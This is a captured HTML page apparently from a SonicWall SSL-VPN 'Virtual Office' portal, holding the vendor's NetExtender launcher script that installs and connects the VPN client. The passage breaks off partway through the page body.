    "content": "<html><head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'><title>Virtual Office</title><meta http-equiv='pragma' content='no-cache'><meta http-equiv='cache-control' content='no-cache'><meta http-equiv='cache-control' content='must-revalidate'><META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"><link href='/themes/styleblueblackgrey.10.2.1.7-50sv.css' rel=stylesheet type='text/css'><script>\n\t//status msg\n\tvar strWait = \"Please wait...\";\n\tvar strStatusVerify= \"Verifying NetExtender Installation\";\n\tvar strStatusInstall = \"Installing NetExtender\";\n\tvar strStatusDownload = \"Downloading NetExtender\";\n\tvar strStatusStart = \"Starting NetExtender\";\n\tvar strStatusUninstall = \"Removing Previous NetExtender Installation\";\n\tvar strStatusConnect = \"Establishing NetExtender Connection\";\n\tvar strStatusInstallNac = \"Installing EndPoint Security Agent\";\n\t\n\t//error msg\n\tvar strErrInit = \"Failed to initialize NetExtender, this could be caused by a damaged or incompatible version of NetExtender!\";\n\tvar strErrValidateServer = \"Failed to validate the server, the server may be running on an old or incompatible firmware!\";\n\t\n\tvar strErrProxyAuth = \"Incorrect user/password, proxy authentication failed!\";\n\tvar strErrDownload = \"Failed to download NetExtender installer!\";\n\tvar strErrInstall = \"Failed to launch NetExtender installer!\";\n\tvar strErrInstallFail = \"Failed to install NetExtender, the installation has been rolled back!\";\n\tvar strErrInstallRequireAdmin = \"NetExtender is not installed, please contact your system administrator for help!\";\n\tvar strErrInstalltimeout = \"Fail to install NetExtender, progress time-out!\";\n\tvar strErrStart = \"Failed to start NetExtender!\";\n\tvar strErrStartRequireAdmin = \"The NetExtender service is not running, please contact your system administrator for help!\";\n\tvar strErrStarttimeout = \"Failed to start NetExtender, progress time-out!\";\n\tvar strErrOpen = \"Failed to communicate with NetExtender. Please check version compatibility. If incompatible, please reinstall the client!\";\n\tvar strErrUninstall = \"Failed to launch NetExtender uninstaller!\";\n\tvar strErrUninstalltimeout = \"Failed to uninstall NetExtender, progress time-out!\";\n\tvar strErrConnect = \"Failed to establish connection!\";\n\tvar strErrGUI = \"Failed to launch NetExtender GUI client!\";\n\tvar strErrConnecttimeout = \"Fail to establish connection, progress time-out!\";\n\tvar strErrUpgradeRequireAdmin = \"The NetExtender on your system is too old, please contact your system administrator for upgrading!\";\n\tvar strErrEpcCheckFail = \"EndPoint Security check failed!\";\n\tvar strErrEpcDownloadFail = \"Download EPC Agent failed!\";\n\tvar strErrEpcInstallFail = \"Install EPC Agent failed!\";\n\t\n\tvar strErrRebootRequired = \"The installation process has not yet been compeleted, please reboot before using NetExtender!\";\n\t\n\t\n\tvar strErrBadInstallation = \"A damaged version of NetExtender was detected on your computer, please reinstall NetExtender to fix the problem!\";\n\t\n\tvar progress_bar = null;\n\tvar timer_id;\n\tvar time_cost = 0;\n\tvar nac_time_cost = 0;\n\tvar nac_timeout_install = 180000;/*3 minutes*/\n\tvar timeout_neinstall = 300000; /*5 minutes*/\n\tvar timeout_neuninstall = 300000; /*5 minutes*/\n\tvar timeout_nestart = 60000;     /*1 minutes*/\n\tvar timeout_neconnect = 120000;  /*2 minutes*/\n\t\n\t/*install staus*/\n\tvar NE_IS_SUCCESS= 0;\t\t\t\t/*install is finished and sccessful*/\n\tvar\tNE_IS_BAD_INSTALL = 1;\t\t\t/*install is finished but failed, uninstall is required before reinstall*/\n\tvar\tNE_IS_REQUIRE_REBOOT = 2;\t\t/*install is not finished yet, a reboot is required to finished installation*/\n\t\n\t/*install error*/\n\tvar NE_INSTALL_ERROR_NONE = 0;\n\tvar NE_INSTALL_ERROR_SERVICEFAIL = 1;\n\tvar NE_INSTALL_ERROR_ADMINREQUIRE = 2;\n\t\n\tvar NE_CONNECT_ERROR_PROXYAUTHREQUIRE = 2;\n\t\n\tvar NE_25_MIN_VER = 0x02050000;\n\t\n\tvar winpops=0;\n\t\n\tvar launchRdp = 0;\n\tvar epcversion =\"936\";\n\tvar required_nesversion = 0x00000000;\n\tvar autoConnectAfterLaunch =1;\n\tvar isIE = true;\n\tvar proxyUser = '';\n\tvar proxyPass = '';\n\tvar proxyAuthTry = 0;\n\tvar proxyNextFunction = '';\n\tvar MAX_PROXY_AUTH_TRY = 3;\n\t\n\t\n\tfunction moveProgressbar(){\n\t\tif (progress_bar != null){\n\t\t\tprogress_bar.setBar(0.04,true);  /*add 5% to the progress bar's progress*/\n\t\t\tif (progress_bar.amt >= 1.0)\n\t\t\t\tprogress_bar.setBar(0.04);  /*reset to 5% to the progress bar's progress*/\n\t\t}\n\t\n\t}\n\t\n\tfunction onError(msg){\n\t\tNELaunchX1.ReleaseNeServiceCtrl();\n\t\talert(msg);\n\t\twindow.close();\n\t\treturn;\n\t\n\t}\n\t\n\t\n\t\n\tfunction neLauncherInit(){\n\t\tNELaunchX1.InitLauncher();\t\n\t\n\tNELaunchX1.serverAddress = \"172.17.96.1\";\n\tNELaunchX1.userName = \"user\";\n\tNELaunchX1.domainName = \"LocalDomain\";\n\tNELaunchX1.sessionId = \"py0nwVXgydGW17JQXQRq6nYdObmqUQyrzEUTbK8os8I=\";\n\tNELaunchX1.isSSLTunnel = 1;\n\tNELaunchX1.serverPort = (window.location.port==\"\") ? 443 : parseInt(window.location.port);\n\tNELaunchX1.policyEnforce = 0;\n\tNELaunchX1.displayName = \"user\";\n\tNELaunchX1.authType = \"local\";\n\tNELaunchX1.AddRouteEntry(\"192.168.200.0\", \"255.255.255.0\");\n\tNELaunchX1.ipv6Support = \"no\";\n\tNELaunchX1.tunnelAllMode = 0;\n\tNELaunchX1.exitAfterDisconnect = 0;\n\tNELaunchX1.uninstallAfterExit = 0;\n\tNELaunchX1.noProfileCreate = 0;\n\tNELaunchX1.allowSavePassword = 0;\n\tNELaunchX1.allowSaveUser = 1;\n\tNELaunchX1.allowDisableUpdate = 0;\n\tNELaunchX1.clientIPLower = \"192.168.200.100\";\n\tNELaunchX1.clientIPHigher = \"192.168.200.200\";\n\t\tneValidateServer();\n\t}\n\tfunction neValidateServer(){\n\t\tNELaunchX1.SetIEProxy();\n\t\tNELaunchX1.SetProxyAuth(proxyUser, proxyPass);\n\t\tNELaunchX1.ValidateServer();\n\t\tif (NE_CONNECT_ERROR_PROXYAUTHREQUIRE == NELaunchX1.statusId){\n\t\t\tif (MAX_PROXY_AUTH_TRY < proxyAuthTry)\n\t\t\t\tonError(strErrProxyAuth);\n\t\t\telse\n\t\t\t\tproxyAuth('neValidateServer()');\n\t\t}else if (0 > NELaunchX1.statusId){\n\t\t\tonError(strErrValidateServer);\n\t\t}else{\n\t\t\tsetTimeout('neInit()', 100);\n\t\t}\n\t\treturn;\n\t}\n\t\n\tfunction neLauncherStart(){\n\t\tvar agent = navigator.userAgent.toLowerCase();\n\t\tisIE = (agent.indexOf(\"msie\") != -1);\n\t\tif (!isIE){\t//if not IE, try NPAPI plugin anyway\n\t\t\ttry {\n\t\t\t\tNELaunchX1 =  document.nelauncher_plugin;\n\t\t\t} catch (err) {\n\t\t\t\talert(err);\n\t\t\t\twindow.location = \"/cgi-bin/sslvpnclient?launcherror=nopluginsupport\";\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\n\t\tif ((!isIE) && (!NELaunchX1)){\n\t\t\t//no plugin loaded, show the error message\n\t\t\twindow.location = \"/cgi-bin/sslvpnclient?launcherror=nopluginsupport\";\n\t\t\treturn;\n\t\t}\n\t\n\t\tif ((!isIE)||(NELaunchX1.object)){\n\t\t\treplaceHTML(document.getElementById('axinstallinstr'), \"\");\n\t\t\tneLauncherInit();\n\t\t\tif (isIE &&(NELaunchX1.object)){\n\t\t\t/*check protected mode for IE*/\n\t\t\t\tif (1 == NELaunchX1.isProtectedModeProcess){\n\t\t\t\t\twindow.location = \"/cgi-bin/sslvpnclient?launcherror=ieprotected\";\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t}else{\n\t\t\treplaceHTML(document.getElementById('launchstatus'), \"\");\n\t\t}\n\t}\n\t\n\tfunction neInit(){\n\t\tupdateStatus(strStatusVerify, strWait);\n\t\tmoveProgressbar();\n\t\tNELaunchX1.InitNEServiceCtrl();\n\t\tif (0 > NELaunchX1.statusId){\n\t\t\tonError(strErrInit);\n\t\t\treturn;\n\t\t}\n\t\tsetTimeout('neInstall()', 100);\n\t}\n\tfunction neInstallOK(){\n\t\n\t\tif (0 == NELaunchX1.isAdmin)\n\t\t\treturn (0 != NELaunchX1.isNetExtenderInstalled);\n\t\n\t\treturn ((0 != NELaunchX1.isNetExtenderInstalled)&&\n\t\t\t(0 != NELaunchX1.isNeDriverInstalled)&&\n\t\t\t((0 != NELaunchX1.isNeRasInstalled)||(0 != NELaunchX1.isRebootNeeded)));\n\t}\n\t\n\tfunction neInstallWait(){\n\t\t//wait until the installer exist\n\t\tif ( time_cost >= timeout_neinstall){\n\t\t\tonError(strErrInstalltimeout);\n\t\t\treturn;\n\t\t}\n\t\tif (0 != NELaunchX1.isNetExtenderInstalling){\n\t\t\tif (NE_INSTALL_ERROR_NONE == NELaunchX1.installResult){\n\t\tmoveProgressbar();\n\t\ttime_cost += 100;\n\t\tsetTimeout('neInstallWait()', 100);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tif (neInstallOK()){\n\t\t\tif (0 != NELaunchX1.isRebootNeeded){\n\t\t\t\tfinishRebootNeed();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsetTimeout('neStart()', 100);\n\t\t\treturn;\n\t\t}\n\t\n\t\tif (1 == NELaunchX1.isVistaOrLater){\n\t\t\tif (NE_INSTALL_ERROR_ADMINREQUIRE == NELaunchX1.installResult){\n\t\t\tonError(strErrUpgradeRequireAdmin);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\n\t\tonError(strErrInstallFail);\n\t\treturn;\n\t}\n\t\n\tfunction neDownloadNx(){\n\t\tmoveProgressbar();\n\t\tupdateStatus(strStatusDownload, strWait);\n\t\tNELaunchX1.DownloadNxInstallerWithAsycMode();\n\t}\n\tfunction neDownloadNxWait(){\n\t\t//wait until NX binary download finished\n\t\tif ( time_cost >= timeout_neinstall){\n\t\t\tonError(strErrInstalltimeout);\n\t\t\treturn;\n\t\t}\t\n\t\t//NLX_DL_ERROR = -1,NLX_DL_STOPED = 0,NLX_DL_DOWNLOADING = 1,NLX_DL_PROXY_AUTH_REQUIRED = 2,NLX_DL_SUCCEEDED = 3\n\t\tvar dlStatus = NELaunchX1.downloadStatus;\n\t\tif (1 == dlStatus){\n\t\t\t//still in downloading status\n\t\t\tsetTimeout('neDownloadNxWait()', 100);\n\t\t\treturn;\n\t\t}else if(2 == dlStatus){\n\t\t\tif (MAX_PROXY_AUTH_TRY < proxyAuthTry)\n\t\t\t\tonError(strErrProxyAuth);\n\t\t\telse\n\t\t\t\tproxyAuth('neInstall()');\n\t\t\treturn;\n\t\t}\n\t\tif(3 == dlStatus){\n\t\t\tneDownloadNxOK();\n\t\t}\n\t\telse{\n\t\t\tonError(strErrInstall);\n\t\t}\n\t}\n\t\n\tfunction neDownloadNxOK(){\n\t\tupdateStatus(strStatusInstall, strWait);\n\t\tNELaunchX1.InstallNetExtender(1);\n\t\tif (0 > NELaunchX1.statusId){\n\t\t\tonError(strErrDownload);\n\t\t\treturn;\n\t\t}\n\t\ttime_cost = 500;\n\t\tsetTimeout('neInstallWait()', 500);\n\t}\n\t\n\tfunction neInstall(){\n\t\tmoveProgressbar();\n\t\tif (!neInstallOK()){\n\t\n\t\t\tif (1 != NELaunchX1.isVistaOrLater){\n\t\t\t\t//if the OS is Vista or later, pass the admin check\n\t\t\t\tif (0 == NELaunchX1.isAdmin){\n\t\t\t\tonError(strErrInstallRequireAdmin);\n\t\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tNELaunchX1.SetIEProxy();\n\t\t\tNELaunchX1.SetProxyAuth(proxyUser, proxyPass);\n\t\t\ttry{\n\t\t\t\tneDownloadNx();\n\t\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\t\tonError(strErrDownload);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\ttime_cost = 500;\n\t\t\t\tsetTimeout('neDownloadNxWait()', 500);\n\t\t\t}catch(err){\n\t\t\t\t//if not support aync download api, then keep using old way\n\t\t\t\tupdateStatus(strStatusDownload, strWait);\n\t\t\t\tNELaunchX1.DownloadNxInstaller();\n\t\t\t\tif (NE_CONNECT_ERROR_PROXYAUTHREQUIRE == NELaunchX1.statusId){\n\t\t\t\t\tif (MAX_PROXY_AUTH_TRY < proxyAuthTry)\n\t\t\t\t\tonError(strErrProxyAuth);\n\t\t\t\t\telse\n\t\t\t\t\t\tproxyAuth('neInstall()');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\t\tonError(strErrDownload);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateStatus(strStatusInstall, strWait);\n\t\t\t\tNELaunchX1.InstallNetExtender(1);\n\t\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\t\tonError(strErrInstall);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\ttime_cost = 500;\n\t\t\t\tsetTimeout('neInstallWait()', 500);\t\t\t\n\t\t\t}\n\t\t}else{\n\t\t\tvar is_status = NELaunchX1.installationStatus;\n\t\t\tif (NE_IS_SUCCESS == is_status){\n\t\t\t\tsetTimeout('neStart()', 100);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (NE_IS_REQUIRE_REBOOT == is_status){\n\t\t\t\tonError(strErrRebootRequired);\n\t\t\t\treturn;\n\t\t\t}else{\n\t\t\t\tonError(strErrBadInstallation);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction neStartWait(){\n\t\tif (0 != NELaunchX1.isNEServiceRunning){\n\t\t\tNELaunchX1.OpenService();\n\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\tonError(strErrOpen);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsetTimeout('neLaunch()', 100);\n\t\t\treturn;\n\t\t}\n\t\tif ( time_cost >= timeout_nestart){\n\t\t\tonError(strErrStarttimeout);\n\t\t\treturn;\n\t\t}\n\t\tmoveProgressbar();\n\t\ttime_cost += 100;\n\t\tsetTimeout('neStartWait()', 100);\n\t}\n\t\n\tfunction neStart(){\n\t\tmoveProgressbar();\n\t\tupdateStatus(strStatusStart, strWait);\n\t\tif (0 == NELaunchX1.isNEServiceRunning){\n\t\t\tif (1 != NELaunchX1.isVistaOrLater){\n\t\t\t\t//if the OS is Vista or later, pass the admin check\n\t\t\t\tif (0 == NELaunchX1.isAdmin){\n\t\t\t\tonError(strErrStartRequireAdmin);\n\t\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\ttime_cost = 0;\n\t\t\tNELaunchX1.StartNEService();\n\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\tonError(strErrStart);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttime_cost = 100;\n\t\t}\n\t\tsetTimeout('neStartWait()', 100);\n\t}\n\t\n\tfunction neUninstallOK(){\n\t\tif (0 != NELaunchX1.isNetExtenderInstalled){\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tfunction neUninstallWait(){\n\t\tif (neUninstallOK()){\n\t\t\tsetTimeout('neInit()', 500);\n\t\t\treturn;\n\t\t}\n\t\tif ( time_cost >= timeout_neuninstall){\n\t\t\tonError(strErrUninstalltimeout);\n\t\t\treturn;\n\t\t}\n\t\tmoveProgressbar();\n\t\ttime_cost += 100;\n\t\tsetTimeout('neUninstallWait()', 100);\n\t}\n\t\n\tfunction neUninstall(){\n\t\tmoveProgressbar();\n\t\tupdateStatus(strStatusUninstall, strWait);\n\t\tif (!neUninstallOK()){\n\t\t\tNELaunchX1.ReleaseNeServiceCtrl();\n\t\t\tNELaunchX1.UninstallNetExtender(1, 0);\n\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\tonError(strErrUninstall);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttime_cost = 100;\n\t\t}\n\t\tsetTimeout('neUninstallWait()', 100);\n\t}\n\t\n\tfunction neConnectWait(){\n\t\tvar ret = NELaunchX1.isNetExtenderConnected;\n\t\tif (0 != ret){\n\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\tif(!launchRdp){\n\t\t\t\tNELaunchX1.ReleaseNeServiceCtrl();\n\t\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\t\tonError(strErrGUI);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\trdpLauncherInit();\n\t\t\t\tif(1 == ret)\n\t\t\t\t\tNELaunchX1.LaunchRdp();\n\t\t\t\telse\n\t\t\t\t\tNELaunchX1.AddPendingRdp();\n\t\t\t\tNELaunchX1.ReleaseNeServiceCtrl();\n\t\t\t}\n\t\t\twindow.close();\n\t\t\treturn;\n\t\t}\n\t\tif ( time_cost >= timeout_neconnect){\n\t\t\tonError(strErrConnecttimeout);\n\t\t\treturn;\n\t\t}\n\t\tmoveProgressbar();\n\t\ttime_cost += 100;\n\t\tsetTimeout('neConnectWait()', 100);\n\t}\n\t\n\tfunction downloadNACWait()\n\t{\n\t\t//download NAC Agent\n\t\tif(NELaunchX1.isNACAgentDownloaded != 1)\n\t\t{\n\t\t\tmoveProgressbar();\n\t\t\tupdateStatus(strStatusInstallNac, strWait);\n\t\t\t\n\t\t\tif(nac_time_cost >= nac_timeout_install)\n\t\t\t{\n\t\t\t\tonError(strErrEpcDownloadFail);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tmoveProgressbar();\n\t\t\tnac_time_cost += 100;\n\t\t\tsetTimeout('downloadNACWait()', 100);\n\t\t\treturn;\n\t\t}\n\t\n\t\t//install NAC Agent\n\t\tNELaunchX1.CheckNACAgentInstalled(epcversion);\n\t\tif(NELaunchX1.statusId != 0)\n\t\t{\n\t\t\tmoveProgressbar();\n\t\t\tupdateStatus(strStatusInstallNac, strWait);\n\t\t\tif(nac_time_cost >= nac_timeout_install)\n\t\t\t{\n\t\t\t\tonError(strErrEpcInstallFail);\n\t\t\t\treturn;\n\t\t\t}\t\t\n\t\n\t\t\tnac_time_cost += 100;\n\t\t\tsetTimeout('downloadNACWait()', 100);\n\t\t\treturn;\n\t\t}\n\t\tNELaunchX1.EPCCheck();\n\t\tif (0 != NELaunchX1.statusId){\n\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\twindow.close();\n\t\t\treturn;\t\t\t\n\t\t}\n\t\t\n\t\tmoveProgressbar();\n\t\tupdateStatus(strStatusConnect, strWait);\n\t\tNELaunchX1.Connect();\n\t\tif (0 > NELaunchX1.statusId){\n\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\tonError(strErrConnect);\n\t\t\treturn;\n\t\t}else if (0 < NELaunchX1.statusId){\n\t\t//more information needed, show GUI to handle user input.\n\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\twindow.close();\n\t\t\treturn;\n\t\t}\n\t\n\t\ttime_cost = 100;\n\t\tsetTimeout('neConnectWait()', 100);\n\t}\n\t\n\tfunction neConnect(){\n\t\tmoveProgressbar();\n\t\tupdateStatus(strStatusConnect, strWait);\n\t\tif (1 != NELaunchX1.isNetExtenderConnected){\t\n\t\t\tNELaunchX1.startByBookmark = 1;\n\t\t\tNELaunchX1.Connect();\n\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\t\tonError(strErrConnect);\n\t\t\t\treturn;\n\t\t\t}else if (0 < NELaunchX1.statusId){\n\t\t\t//more information needed, show GUI to handle user input.\n\t\n\t\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\n\t\t\t\twindow.close();\n\t\n\t\t\t\treturn;\n\t\n\t\t\t}\n\t\n\t\n\t\t\ttime_cost = 100;\n\t\t}\n\t\telse\n\t\t\tNELaunchX1.startByBookmark = 0;\n\t\tsetTimeout('neConnectWait()', 100);\n\t}\n\t\n\tfunction neLaunch(){\n\t\tif ((required_nesversion > NELaunchX1.serviceVersion)&&(NELaunchX1.isUpgradable)){\n\t\t\tif (NE_25_MIN_VER > NELaunchX1.serviceVersion){\n\t\t\t\t//for version before 2.5, uninstall the old Nx, for 2.5 or later NX, the Nx application will take care upgrade\n\t\t\t\tif (1 != NELaunchX1.isVistaOrLater){\n\t\t\t\t\t//if the OS is Vista or later, pass the admin check\n\t\t\t\t\tif (0 == NELaunchX1.isAdmin){\n\t\t\t\tonError(strErrUpgradeRequireAdmin);\n\t\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tneUninstall();\n\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tif (0 != autoConnectAfterLaunch){\n\t\t\tNELaunchX1.SetIEProxy();\n\t\n\t\n\t\t\tneConnect();\n\t\t\treturn;\n\t\t}else{\n\t\t\tNELaunchX1.StartNEGuiWithParam(\"-showLastError\");\n\t\t\tNELaunchX1.ReleaseNeServiceCtrl();\n\t\t\tif (0 > NELaunchX1.statusId){\n\t\t\t\tonError(strErrGUI);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction proxyAuth(nextFunc){\n\t\tif (proxyNextFunction.value != nextFunc.value)\n\t\t\tproxyAuthTry = 1;\n\t\telse\n\t\t\tproxyAuthTry++;\n\t\n\t\tproxyNextFunction = nextFunc;\n\t\tvar statusPage = document.getElementById(\"neInstallStatusPage\");\n\t\tvar proxyAuthPage = document.getElementById(\"neproxyAuthPage\");\n\t\tvar rebootPage = document.getElementById(\"neInstallRebootPage\");\n\t\tif (statusPage){\n\t\t\tstatusPage.style.visibility=\"hidden\";\n\t\t\tstatusPage.style.zIndex=\"3\";\n\t\t}\n\t\tif (rebootPage){\n\t\t\trebootPage.style.visibility=\"hidden\";\n\t\t\trebootPage.style.zIndex=\"1\";\n\t\t}\n\t\tif (proxyAuthPage){\n\t\t\tproxyAuthPage.style.visibility=\"visible\";\n\t\t\tproxyAuthPage.style.zIndex=\"4\";\n\t\t}\n\t\treturn;\n\t}\n\t\n\tfunction onProxyAuthNextBtn(){\n\t\tvar statusPage = document.getElementById(\"neInstallStatusPage\");\n\t\tvar proxyAuthPage = document.getElementById(\"neproxyAuthPage\");\n\t\tvar rebootPage = document.getElementById(\"neInstallRebootPage\");\n\t\tif (proxyAuthPage){\n\t\t\tproxyUser = document.getElementById(\"proxy_user\").value;\n\t\t\tproxyPass = document.getElementById(\"proxy_pass\").value;\n\t\t\tif (proxyUser == '')\n\t\t\t{\n\t\t\t\talert(\"Invalid user name!\");\n\t\t\t\tdocument.getElementById('proxy_user').focus();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (proxyPass == '')\n\t\t\t{\n\t\t\t\talert(\"Invalid password!\");\n\t\t\t\tdocument.getElementById('proxy_pass').focus();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tproxyAuthPage.style.visibility=\"hidden\";\n\t\t\tproxyAuthPage.style.zIndex=\"2\";\n\t\t}\n\t\tif (rebootPage){\n\t\t\trebootPage.style.visibility=\"hidden\";\n\t\t\trebootPage.style.zIndex=\"1\";\n\t\t}\n\t\tif (statusPage){\n\t\t\tstatusPage.style.visibility=\"visible\";\n\t\t\tstatusPage.style.zIndex=\"4\";\n\t\t}\n\t\tsetTimeout(proxyNextFunction, 50);\n\t\treturn;\n\t}\n\t\n\tfunction finishRebootNeed(){\n\t\tvar statusPage = document.getElementById(\"neInstallStatusPage\");\n\t\tvar proxyAuthPage = document.getElementById(\"neproxyAuthPage\");\n\t\tvar rebootPage = document.getElementById(\"neInstallRebootPage\");\n\t\tif (statusPage){\n\t\t\tstatusPage.style.visibility=\"hidden\";\n\t\t\tstatusPage.style.zIndex=\"3\";\n\t\t}\n\t\tif (proxyAuthPage){\n\t\t\tproxyAuthPage.style.visibility=\"hidden\";\n\t\t\tproxyAuthPage.style.zIndex=\"2\";\n\t\t}\n\t\tif (rebootPage){\n\t\t\trebootPage.style.visibility=\"visible\";\n\t\t\trebootPage.style.zIndex=\"4\";\n\t\t}\n\t\treturn;\n\t}\n\t\n\tfunction finishInstall(){\n\t\tvar reboot = document.getElementById(\"neRebootYes\");\n\t\tif (reboot){\n\t\t\tif (reboot.checked){\n\t\t\t\tNELaunchX1.RebootSystem();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\twindow.close();\n\t}\n\t\n\tvar NE_progBar = 0;\n\t\n\tfunction getRefToDivNest( divID, oDoc ) {\n\t\tif( !oDoc ) { oDoc = document; }\n\t\tif( document.layers ) {\n\t\t\tif( oDoc.layers[divID] ) { return oDoc.layers[divID]; } else {\n\t\t\t\tfor( var x = 0, y; !y && x < oDoc.layers.length; x++ ) {\n\t\t\t\t\ty = getRefToDivNest(divID,oDoc.layers[x].document); }\n\t\t\t\treturn y; } }\n\t\tif( document.getElementById ) { return document.getElementById(divID); }\n\t\tif( document.all ) { return document.all[divID]; }\n\t\treturn document[divID];\n\t}\n\t\n\tfunction progressBar( oBt, oBc, oBg, oBa, oWi, oHi, oDr ) {\n\t\t NE_progBar++;\n\t\tthis.id = 'NE_progBar' + NE_progBar;\n\t\tthis.dir = oDr; this.width = oWi; this.height = oHi; this.amt = 0;\n\t//write the bar as a layer in an ilayer in two tables giving the border\n\t\t document.write( '<table border=\"0\" cellspacing=\"0\" cellpadding=\"'+oBt+'\"><tr><td bgcolor=\"'+oBc+'\">'+\n\t\t\t'<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr><td height=\"'+oHi+'\" width=\"'+oWi+'\" bgcolor=\"'+oBg+'\">' );\n\t\n\t\t if( document.layers ) {\n\t\t\t document.write( '<ilayer height=\"'+oHi+'\" width=\"'+oWi+'\"><layer bgcolor=\"'+oBa+'\" name=\"NE_progBar'+NE_progBar+'\"></layer></ilayer>' );\n\t\t } else {\n\t\t\t document.write( '<div style=\"position:relative;top:0px;left:0px;height:'+oHi+'px;width:'+oWi+';\">'+\n\t\t\t\t'<div style=\"top:0px;left:0px;height:0px;width:0;font-size:1px;background-color:'+oBa+';\" id=\"NE_progBar'+NE_progBar+'\"></div></div>' );\n\t\n\t\t }\n\t\t document.write( '</td></tr></table></td></tr></table>\\n' );\n\t\n\t\t this.setBar = resetBar; //doing this inline causes unexpected bugs in early NS4\n\t\t this.setCol = setColour;\n\t}\n\t\n\tfunction resetBar( a, b ) {\n\t//work out the required size and use various methods to enforce it\n\t\tthis.amt = ( typeof( b ) == 'undefined' ) ? a : b ? ( this.amt + a ) : ( this.amt - a );\n\t\tif( isNaN( this.amt ) ) { this.amt = 0; } if( this.amt > 1 ) { this.amt = 1; } if( this.amt < 0 ) { this.amt = 0; }\n\t\tvar theWidth = Math.round( this.width * ( ( this.dir % 2 ) ? this.amt : 1 ) );\n\t\tvar theHeight = Math.round( this.height * ( ( this.dir % 2 ) ? 1 : this.amt ) );\n\t\tvar theDiv = getRefToDivNest( this.id ); if( !theDiv ) { window.status = 'Progress: ' + Math.round( 100 * this.amt ) + '%'; return; }\n\t\tif( theDiv.style ) { theDiv = theDiv.style; theDiv.clip = 'rect(0px '+theWidth+'px '+theHeight+'px 0px)'; }\n\t\tvar oPix = document.childNodes ? 'px' : 0;\n\t\ttheDiv.width = theWidth + oPix; theDiv.pixelWidth = theWidth; theDiv.height = theHeight + oPix; theDiv.pixelHeight = theHeight;\n\t\tif( theDiv.resizeTo ) { theDiv.resizeTo( theWidth, theHeight ); }\n\t\ttheDiv.left = ( ( this.dir != 3 ) ? 0 : this.width - theWidth ) + oPix; theDiv.top = ( ( this.dir != 4 ) ? 0 : this.height - theHeight ) + oPix;\n\t}\n\t\n\tfunction setColour( a ) {\n\t//change all the different colour styles\n\t\tvar theDiv = getRefToDivNest( this.id ); if( theDiv.style ) { theDiv = theDiv.style; }\n\t\ttheDiv.bgColor = a; theDiv.backgroundColor = a; theDiv.background = a;\n\t}\n\t\n\tfunction replaceHTML(obj,text){\n\t\twhile(el = obj.childNodes[0]){\n\t\t\tobj.removeChild(el);\n\t\t}\n\t\tobj.appendChild(document.createTextNode(text));\n\t}\n\t\n\tfunction updateStatus(_status, _detail){\n\t\treplaceHTML(document.getElementById('status'), _status);\n\t\treplaceHTML(document.getElementById('detail'), _detail);\n\t}\n\t</script>\n\t</head>\n\t<body class=\"mainback\" bgcolor=\"#d4d1c8\"  onLoad=\"neLauncherStart();\" leftmargin=0 topmargin=0 marginwidth=0 marginheight=0>\n\t<div id=\"neInstallStatusPage\" style=\"top:10px;position:absolute;z-index:3;\">\n\t<table cellspacing=0 cellpadding=0 width=\"100%\" height = \"100%\" border=0>\n\t<tr id=\"launchstatus\">\n\t\t<td>\n\t\t\t<table cellspacing=0 cellpadding=0 width=\"100%\" border=0>\n\t\t\t<tr>\n\t\t\t\t<td colspan=3 height=110><img src=\"/images/shim.gif\" height=110></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t<td>\n\t\t\t\t\t<center>\n\t\t\t\t\t<table valign=\"top\" border=0 class=\"logintable\" cellpadding=0 cellspacing=0  style=\"left:0px;\">\n\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td cellpadding=10 valign=\"top\">\n\t\t\t\t\t\t\t\t\t<table border=0 cellpadding=1 cellspacing=0 